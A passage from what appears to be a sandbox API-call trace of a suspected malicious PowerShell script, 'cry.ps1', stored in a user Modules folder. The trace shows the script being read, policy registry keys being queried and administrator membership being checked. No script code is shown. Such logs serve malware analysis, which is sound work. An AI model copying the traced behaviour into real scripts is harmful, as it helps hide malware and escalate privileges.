pdecIn=0x4efecf8, pdblOut=0x4efece4 | out: pdblOut=0x4efece4) returned 0x0 [0215.973] VarR8FromDec (in: pdecIn=0x4efece4, pdblOut=0x4efecd0 | out: pdblOut=0x4efecd0) returned 0x0 [0215.973] VarR8FromDec (in: pdecIn=0x4efecf8, pdblOut=0x4efece4 | out: pdblOut=0x4efece4) returned 0x0 [0215.973] VarR8FromDec (in: pdecIn=0x4efece4, pdblOut=0x4efecd0 | out: pdblOut=0x4efecd0) returned 0x0 [0215.973] VarR8FromDec (in: pdecIn=0x4efecf8, pdblOut=0x4efece4 | out: pdblOut=0x4efece4) returned 0x0 [0215.973] VarR8FromDec (in: pdecIn=0x4efece4, pdblOut=0x4efecd0 | out: pdblOut=0x4efecd0) returned 0x0 [0215.973] VarDecCmp (pdecLeft=0x4efebc4, pdecRight=0x4efebb4) returned 0x0 [0215.973] VarDecCmp (pdecLeft=0x4efebc4, pdecRight=0x4efebb4) returned 0x0 [0215.973] VarDecCmp (pdecLeft=0x4efebc4, pdecRight=0x4efebb4) returned 0x0 [0215.973] VarDecCmp (pdecLeft=0x4efebf0, pdecRight=0x4efebe0) returned 0x0 [0215.973] VarDecCmp (pdecLeft=0x4efebf0, pdecRight=0x4efebe0) returned 0x0 [0215.973] VarDecCmp (pdecLeft=0x4efebf0, pdecRight=0x4efebe0) returned 0x0 [0215.973] VarDecCmp (pdecLeft=0x4efebf0, pdecRight=0x4efebe0) returned 0x0 [0215.973] VarDecCmp (pdecLeft=0x4efebf0, pdecRight=0x4efebe0) returned 0x1 [0215.973] VarDecCmp (pdecLeft=0x4efebd0, pdecRight=0x4efebc0) returned 0x1 [0215.973] VarDecCmp (pdecLeft=0x4efebf0, pdecRight=0x4efebe0) returned 0x0 [0215.973] VarDecCmp (pdecLeft=0x4efebf0, pdecRight=0x4efebe0) returned 0x0 [0215.973] VarDecCmp (pdecLeft=0x4efebf0, pdecRight=0x4efebe0) returned 0x0 [0215.973] VarDecCmp (pdecLeft=0x4efebf0, pdecRight=0x4efebe0) returned 0x0 [0215.973] VarDecCmp (pdecLeft=0x4efebf0, pdecRight=0x4efebe0) returned 0x1 [0215.973] VarDecCmp (pdecLeft=0x4efebd0, pdecRight=0x4efebc0) returned 0x1 [0215.974] VarDecCmp (pdecLeft=0x4efeb74, pdecRight=0x4efeb64) returned 0x0 [0215.974] VarDecCmp (pdecLeft=0x4efeb74, pdecRight=0x4efeb64) returned 0x0 [0215.974] VarDecCmp (pdecLeft=0x4efeb74, pdecRight=0x4efeb64) returned 0x0 [0215.974] VarDecCmp (pdecLeft=0x4efeba0, pdecRight=0x4efeb90) returned 0x0 [0215.974] VarDecCmp (pdecLeft=0x4efeba0, pdecRight=0x4efeb90) returned 0x1 [0215.974] VarDecCmp (pdecLeft=0x4efeb80, pdecRight=0x4efeb70) returned 0x1 [0215.974] VarDecCmp (pdecLeft=0x4efeba0, pdecRight=0x4efeb90) returned 0x0 [0215.974] VarDecCmp (pdecLeft=0x4efeba0, pdecRight=0x4efeb90) returned 0x0 [0215.974] VarDecCmp (pdecLeft=0x4efeba0, pdecRight=0x4efeb90) returned 0x1 [0215.974] VarDecCmp (pdecLeft=0x4efeb80, pdecRight=0x4efeb70) returned 0x1 [0215.974] VarDecCmp (pdecLeft=0x4efeb74, pdecRight=0x4efeb64) returned 0x0 [0215.974] VarDecCmp (pdecLeft=0x4efeb74, pdecRight=0x4efeb64) returned 0x0 [0215.974] VarDecCmp (pdecLeft=0x4efeba0, pdecRight=0x4efeb90) returned 0x1 [0215.974] VarDecCmp (pdecLeft=0x4efeb80, pdecRight=0x4efeb70) returned 0x1 [0215.974] VarDecCmp (pdecLeft=0x4efeba0, pdecRight=0x4efeb90) returned 0x0 [0215.974] VarDecCmp (pdecLeft=0x4efeba0, pdecRight=0x4efeb90) returned 0x1 [0215.974] VarDecCmp (pdecLeft=0x4efeb80, pdecRight=0x4efeb70) returned 0x1 [0215.974] VarDecCmp (pdecLeft=0x4efebc4, pdecRight=0x4efebb4) returned 0x0 [0215.974] VarDecCmp (pdecLeft=0x4efebc4, pdecRight=0x4efebb4) returned 0x0 [0215.974] VarDecCmp (pdecLeft=0x4efebc4, pdecRight=0x4efebb4) returned 0x0 [0215.974] VarDecCmp (pdecLeft=0x4efebf0, pdecRight=0x4efebe0) returned 0x0 [0215.974] VarDecCmp (pdecLeft=0x4efebf0, pdecRight=0x4efebe0) returned 0x1 [0215.974] VarDecCmp (pdecLeft=0x4efebd0, pdecRight=0x4efebc0) returned 0x1 [0215.974] VarDecCmp (pdecLeft=0x4efebf0, pdecRight=0x4efebe0) returned 0x0 [0215.975] VarDecCmp (pdecLeft=0x4efebf0, pdecRight=0x4efebe0) returned 0x0 [0215.975] VarDecCmp (pdecLeft=0x4efebf0, pdecRight=0x4efebe0) returned 0x1 [0215.975] VarDecCmp (pdecLeft=0x4efebd0, pdecRight=0x4efebc0) returned 0x1 [0215.975] VarDecCmp (pdecLeft=0x4efebc4, pdecRight=0x4efebb4) returned 0x0 [0215.975] VarDecCmp (pdecLeft=0x4efebc4, pdecRight=0x4efebb4) returned 0x0 [0215.975] VarDecCmp (pdecLeft=0x4efebf0, pdecRight=0x4efebe0) returned 0x1 [0215.975] VarDecCmp (pdecLeft=0x4efebd0, pdecRight=0x4efebc0) returned 0x1 [0215.975] VarDecCmp (pdecLeft=0x4efebf0, pdecRight=0x4efebe0) returned 0x0 [0215.975] VarDecCmp (pdecLeft=0x4efebf0, pdecRight=0x4efebe0) returned 0x1 [0215.975] VarDecCmp (pdecLeft=0x4efebd0, pdecRight=0x4efebc0) returned 0x1 [0215.975] VarDecCmp (pdecLeft=0x4efeca0, pdecRight=0x4efec90) returned 0x0 [0215.975] VarDecCmp (pdecLeft=0x4efec80, pdecRight=0x4efec70) returned 0x2 [0215.975] VarDecCmp (pdecLeft=0x4efeca0, pdecRight=0x4efec90) returned 0x0 [0215.975] VarDecCmp (pdecLeft=0x4efec80, pdecRight=0x4efec70) returned 0x2 [0215.975] VarDecCmp (pdecLeft=0x4efeca0, pdecRight=0x4efec90) returned 0x0 [0215.975] VarDecCmp (pdecLeft=0x4efec80, pdecRight=0x4efec70) returned 0x2 [0215.975] VarDecCmp (pdecLeft=0x4efeca0, pdecRight=0x4efec90) returned 0x0 [0215.975] VarDecCmp (pdecLeft=0x4efec80, pdecRight=0x4efec70) returned 0x2 [0215.975] VarDecCmp (pdecLeft=0x4efeca0, pdecRight=0x4efec90) returned 0x0 [0215.975] VarDecCmp (pdecLeft=0x4efec80, pdecRight=0x4efec70) returned 0x2 [0215.975] VarDecCmp (pdecLeft=0x4efeca0, pdecRight=0x4efec90) returned 0x0 [0215.975] VarDecCmp (pdecLeft=0x4efec80, pdecRight=0x4efec70) returned 0x2 [0215.975] VarDecCmp (pdecLeft=0x4efeca0, pdecRight=0x4efec90) returned 0x0 [0215.976] VarDecCmp (pdecLeft=0x4efec80, pdecRight=0x4efec70) returned 0x2 [0215.976] VarDecCmp (pdecLeft=0x4efeca0, pdecRight=0x4efec90) returned 0x0 [0215.976] VarDecCmp (pdecLeft=0x4efec80, pdecRight=0x4efec70) returned 0x2 [0215.976] VarDecCmp (pdecLeft=0x4efebe4, pdecRight=0x4efebd4) returned 0x1 [0215.976] VarDecCmp (pdecLeft=0x4efeb64, pdecRight=0x4efeb54) returned 0x1 [0215.976] VarDecCmp (pdecLeft=0x4efeb64, pdecRight=0x4efeb54) returned 0x1 [0215.976] VarDecCmp (pdecLeft=0x4efeb64, pdecRight=0x4efeb54) returned 0x1 [0215.976] VarDecCmp (pdecLeft=0x4efeb64, pdecRight=0x4efeb54) returned 0x1 [0215.976] VarDecCmp (pdecLeft=0x4efeb64, pdecRight=0x4efeb54) returned 0x1 [0215.976] VarDecCmp (pdecLeft=0x4efeb64, pdecRight=0x4efeb54) returned 0x1 [0215.976] VarDecCmp (pdecLeft=0x4efeb64, pdecRight=0x4efeb54) returned 0x1 [0215.976] VarDecCmp (pdecLeft=0x4efeb64, pdecRight=0x4efeb54) returned 0x1 [0215.976] VarDecCmp (pdecLeft=0x4efeb64, pdecRight=0x4efeb54) returned 0x1 [0241.298] CoUninitialize () Thread: id = 60 os_tid = 0x5cc Thread: id = 61 os_tid = 0x46c [0215.574] VarR8FromDec (in: pdecIn=0x4d0e9ac, pdblOut=0x4d0e998 | out: pdblOut=0x4d0e998) returned 0x0 [0215.574] VarR8FromDec (in: pdecIn=0x4d0e9c0, pdblOut=0x4d0e9ac | out: pdblOut=0x4d0e9ac) returned 0x0 [0215.574] VarR8FromDec (in: pdecIn=0x4d0e9ac, pdblOut=0x4d0e998 | out: pdblOut=0x4d0e998) returned 0x0 [0215.574] VarR8FromDec (in: pdecIn=0x4d0e9c0, pdblOut=0x4d0e9ac | out: pdblOut=0x4d0e9ac) returned 0x0 [0215.574] VarR8FromDec (in: pdecIn=0x4d0e9ac, pdblOut=0x4d0e998 | out: pdblOut=0x4d0e998) returned 0x0 [0215.574] VarR8FromDec (in: pdecIn=0x4d0e9c0, pdblOut=0x4d0e9ac | out: pdblOut=0x4d0e9ac) returned 0x0 [0215.574] VarR8FromDec (in: pdecIn=0x4d0e9ac, pdblOut=0x4d0e998 | out: pdblOut=0x4d0e998) returned 0x0 [0215.574] VarR8FromDec (in: pdecIn=0x4d0e9c0, pdblOut=0x4d0e9ac | out: pdblOut=0x4d0e9ac) returned 0x0 [0215.575] VarR8FromDec (in: pdecIn=0x4d0e9ac, pdblOut=0x4d0e998 | out: pdblOut=0x4d0e998) returned 0x0 [0215.575] VarDecCmp (pdecLeft=0x4d0e88c, pdecRight=0x4d0e87c) returned 0x0 [0215.575] VarDecCmp (pdecLeft=0x4d0e88c, pdecRight=0x4d0e87c) returned 0x0 [0215.575] VarDecCmp (pdecLeft=0x4d0e88c, pdecRight=0x4d0e87c) returned 0x0 [0215.575] VarDecCmp (pdecLeft=0x4d0e8b8, pdecRight=0x4d0e8a8) returned 0x0 [0215.575] VarDecCmp (pdecLeft=0x4d0e8b8, pdecRight=0x4d0e8a8) returned 0x0 [0215.575] VarDecCmp (pdecLeft=0x4d0e8b8, pdecRight=0x4d0e8a8) returned 0x1 [0215.575] VarDecCmp (pdecLeft=0x4d0e898, pdecRight=0x4d0e888) returned 0x1 [0215.575] VarDecCmp (pdecLeft=0x4d0e8b8, pdecRight=0x4d0e8a8) returned 0x0 [0215.575] VarDecCmp (pdecLeft=0x4d0e8b8, pdecRight=0x4d0e8a8) returned 0x0 [0215.575] VarDecCmp (pdecLeft=0x4d0e8b8, pdecRight=0x4d0e8a8) returned 0x1 [0215.575] VarDecCmp (pdecLeft=0x4d0e898, pdecRight=0x4d0e888) returned 0x1 [0215.575] VarDecCmp (pdecLeft=0x4d0e83c, pdecRight=0x4d0e82c) returned 0x0 [0215.575] VarDecCmp (pdecLeft=0x4d0e83c, pdecRight=0x4d0e82c) returned 0x0 [0215.575] VarDecCmp (pdecLeft=0x4d0e868, pdecRight=0x4d0e858) returned 0x1 [0215.575] VarDecCmp (pdecLeft=0x4d0e848, pdecRight=0x4d0e838) returned 0x1 [0215.575] VarDecCmp (pdecLeft=0x4d0e868, pdecRight=0x4d0e858) returned 0x0 [0215.575] VarDecCmp (pdecLeft=0x4d0e868, pdecRight=0x4d0e858) returned 0x1 [0215.575] VarDecCmp (pdecLeft=0x4d0e848, pdecRight=0x4d0e838) returned 0x1 [0215.575] VarDecCmp (pdecLeft=0x4d0e88c, pdecRight=0x4d0e87c) returned 0x0 [0215.575] VarDecCmp (pdecLeft=0x4d0e88c, pdecRight=0x4d0e87c) returned 0x0 [0215.575] VarDecCmp (pdecLeft=0x4d0e8b8, pdecRight=0x4d0e8a8) returned 0x1 [0215.575] VarDecCmp (pdecLeft=0x4d0e898, pdecRight=0x4d0e888) returned 0x1 [0215.575] VarDecCmp (pdecLeft=0x4d0e8b8, pdecRight=0x4d0e8a8) returned 0x0 [0215.575] VarDecCmp (pdecLeft=0x4d0e8b8, pdecRight=0x4d0e8a8) returned 0x1 [0215.576] VarDecCmp (pdecLeft=0x4d0e898, pdecRight=0x4d0e888) returned 0x1 [0215.576] VarDecCmp (pdecLeft=0x4d0e968, pdecRight=0x4d0e958) returned 0x0 [0215.576] VarDecCmp (pdecLeft=0x4d0e948, pdecRight=0x4d0e938) returned 0x2 [0215.576] VarDecCmp (pdecLeft=0x4d0e968, pdecRight=0x4d0e958) returned 0x0 [0215.576] VarDecCmp (pdecLeft=0x4d0e948, pdecRight=0x4d0e938) returned 0x2 [0215.576] VarDecCmp (pdecLeft=0x4d0e968, pdecRight=0x4d0e958) returned 0x0 [0215.576] VarDecCmp (pdecLeft=0x4d0e948, pdecRight=0x4d0e938) returned 0x2 [0215.576] VarDecCmp (pdecLeft=0x4d0e968, pdecRight=0x4d0e958) returned 0x0 [0215.576] VarDecCmp (pdecLeft=0x4d0e948, pdecRight=0x4d0e938) returned 0x2 [0215.576] VarDecCmp (pdecLeft=0x4d0e8ac, pdecRight=0x4d0e89c) returned 0x1 [0215.576] VarDecCmp (pdecLeft=0x4d0e82c, pdecRight=0x4d0e81c) returned 0x1 [0215.576] VarDecCmp (pdecLeft=0x4d0e82c, pdecRight=0x4d0e81c) returned 0x1 [0215.576] VarDecCmp (pdecLeft=0x4d0e82c, pdecRight=0x4d0e81c) returned 0x1 [0215.576] VarDecCmp (pdecLeft=0x4d0e82c, pdecRight=0x4d0e81c) returned 0x1 [0215.576] VarDecCmp (pdecLeft=0x4d0e82c, pdecRight=0x4d0e81c) returned 0x1 [0241.312] CoUninitialize () Thread: id = 62 os_tid = 0x7c4 Thread: id = 72 os_tid = 0x774 [0152.355] SetThreadUILanguage (LangId=0x0) returned 0x409 [0152.379] EtwEventRegister () returned 0x0 [0152.383] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2f0b4, nSize=0x80 | out: lpBuffer="") returned 0x0 [0152.391] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cry.ps1")) returned 0x20 [0152.393] LocalReAlloc (hMem=0x3686b0, uBytes=0x208, uFlags=0x2) returned 0x3e84f8 [0152.393] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x104, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x45 [0152.393] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ee78) returned 1 [0152.393] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cry.ps1"), fInfoLevelId=0x0, lpFileInformation=0x5a2f13c | out: lpFileInformation=0x5a2f13c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4de2f20, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa546eba0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x2b4)) returned 1 [0152.393] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ee74) returned 1 [0152.394] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cry.ps1")) returned 0x20 [0152.394] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0152.394] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x46, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x45 [0152.394] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x5a2f008, Length=0x20, ResultLength=0x5a2f078 | out: SystemInformation=0x5a2f008, ResultLength=0x5a2f078*=0x0) returned 0xc0000003 [0152.395] GetSystemInfo (in: lpSystemInfo=0x5a2f084 | out: lpSystemInfo=0x5a2f084*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x6a06)) [0152.395] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2f014 | out: phkResult=0x5a2f014*=0x3cc) returned 0x0 [0152.396] RegQueryValueExW (in: hKey=0x3cc, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x5a2f030, lpData=0x0, lpcbData=0x5a2f02c*=0x0 | out: lpType=0x5a2f030*=0x0, lpData=0x0, lpcbData=0x5a2f02c*=0x0) returned 0x2 [0152.396] RegCloseKey (hKey=0x3cc) returned 0x0 [0152.402] EtwEventRegister () returned 0x0 [0152.403] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0152.403] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x46, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x45 [0152.403] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eea8) returned 1 [0152.403] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cry.ps1"), fInfoLevelId=0x0, lpFileInformation=0x224f7d0 | out: lpFileInformation=0x224f7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4de2f20, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa546eba0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x2b4)) returned 1 [0152.404] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2eea4) returned 1 [0152.404] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0152.404] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x46, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x45 [0152.404] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ee68) returned 1 [0152.404] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cry.ps1"), fInfoLevelId=0x0, lpFileInformation=0x5a2f12c | out: lpFileInformation=0x5a2f12c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4de2f20, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa546eba0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x2b4)) returned 1 [0152.404] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ee64) returned 1 [0152.404] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0152.405] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x46, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x45 [0152.406] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2f074 | out: phkResult=0x5a2f074*=0x0) returned 0x2 [0152.406] GetEnvironmentVariableW (in: lpName="PSExecutionPolicyPreference", lpBuffer=0x5a2efb4, nSize=0x80 | out: lpBuffer="") returned 0x6 [0152.409] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0152.409] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x46, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x45 [0152.409] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2f0c0) returned 1 [0152.409] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cry.ps1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3d0 [0152.409] GetFileType (hFile=0x3d0) returned 0x1 [0152.409] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2f0bc) returned 1 [0152.409] GetFileType (hFile=0x3d0) returned 0x1 [0152.410] GetACP () returned 0x4e4 [0152.418] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2f0fc*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2f0fc*=0) returned 0x0 [0152.419] ReadFile (in: hFile=0x3d0, lpBuffer=0x2250c10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2f128, lpOverlapped=0x0 | out: lpBuffer=0x2250c10*, lpNumberOfBytesRead=0x5a2f128*=0x2b4, lpOverlapped=0x0) returned 1 [0152.421] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2f0fc*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2f0fc*=0) returned 0x2b4 [0152.421] ReadFile (in: hFile=0x3d0, lpBuffer=0x2250c10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2f128, lpOverlapped=0x0 | out: lpBuffer=0x2250c10*, lpNumberOfBytesRead=0x5a2f128*=0x0, lpOverlapped=0x0) returned 1 [0152.421] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x5a2f090, Length=0x20, ResultLength=0x5a2f100 | out: SystemInformation=0x5a2f090, ResultLength=0x5a2f100*=0x0) returned 0xc0000003 [0152.422] GetSystemInfo (in: lpSystemInfo=0x5a2f10c | out: lpSystemInfo=0x5a2f10c*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x6a06)) [0152.422] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2f09c | out: phkResult=0x5a2f09c*=0x3d8) returned 0x0 [0152.422] RegQueryValueExW (in: hKey=0x3d8, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x5a2f0b8, lpData=0x0, lpcbData=0x5a2f0b4*=0x0 | out: lpType=0x5a2f0b8*=0x0, lpData=0x0, lpcbData=0x5a2f0b4*=0x0) returned 0x2 [0152.422] RegCloseKey (hKey=0x3d8) returned 0x0 [0152.423] CloseHandle (hObject=0x3d0) returned 1 [0152.452] CoCreateGuid (in: pguid=0x5a2eaa0 | out: pguid=0x5a2eaa0*(Data1=0x30e150b2, Data2=0x3b7b, Data3=0x416e, Data4=([0]=0x98, [1]=0x1c, [2]=0xf0, [3]=0xb3, [4]=0x3e, [5]=0x66, [6]=0x66, [7]=0x7a))) returned 0x0 [0152.581] CoCreateGuid (in: pguid=0x5a2f1d0 | out: pguid=0x5a2f1d0*(Data1=0xa462698a, Data2=0x7570, Data3=0x4989, Data4=([0]=0xa4, [1]=0xb3, [2]=0x44, [3]=0x52, [4]=0xf0, [5]=0xdf, [6]=0x0, [7]=0x4b))) returned 0x0 [0152.583] GetCurrentProcess () returned 0xffffffff [0152.583] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5a2f19c | out: TokenHandle=0x5a2f19c*=0x3d0) returned 1 [0152.584] GetTokenInformation (in: TokenHandle=0x3d0, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x5a2f19c | out: TokenInformation=0x0, ReturnLength=0x5a2f19c) returned 0 [0152.584] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x3b0ec0 [0152.584] GetTokenInformation (in: TokenHandle=0x3d0, TokenInformationClass=0x8, TokenInformation=0x3b0ec0, TokenInformationLength=0x4, ReturnLength=0x5a2f19c | out: TokenInformation=0x3b0ec0, ReturnLength=0x5a2f19c) returned 1 [0152.584] LocalFree (hMem=0x3b0ec0) returned 0x0 [0152.584] DuplicateTokenEx (in: hExistingToken=0x3d0, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x5a2f1a4 | out: phNewToken=0x5a2f1a4*=0x3d8) returned 1 [0152.585] CheckTokenMembership (in: TokenHandle=0x3d8, SidToCheck=0x225b1e0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x5a2f1b4 | out: IsMember=0x5a2f1b4) returned 1 [0152.585] CloseHandle (hObject=0x3d8) returned 1 [0152.644] QueryPerformanceCounter (in: lpPerformanceCount=0x5a2f1b0 | out: lpPerformanceCount=0x5a2f1b0*=3247716495908) returned 1 [0152.645] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0152.645] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x46, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x45 [0152.645] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ee9c) returned 1 [0152.645] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cry.ps1"), fInfoLevelId=0x0, lpFileInformation=0x5a2f160 | out: lpFileInformation=0x5a2f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4de2f20, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, 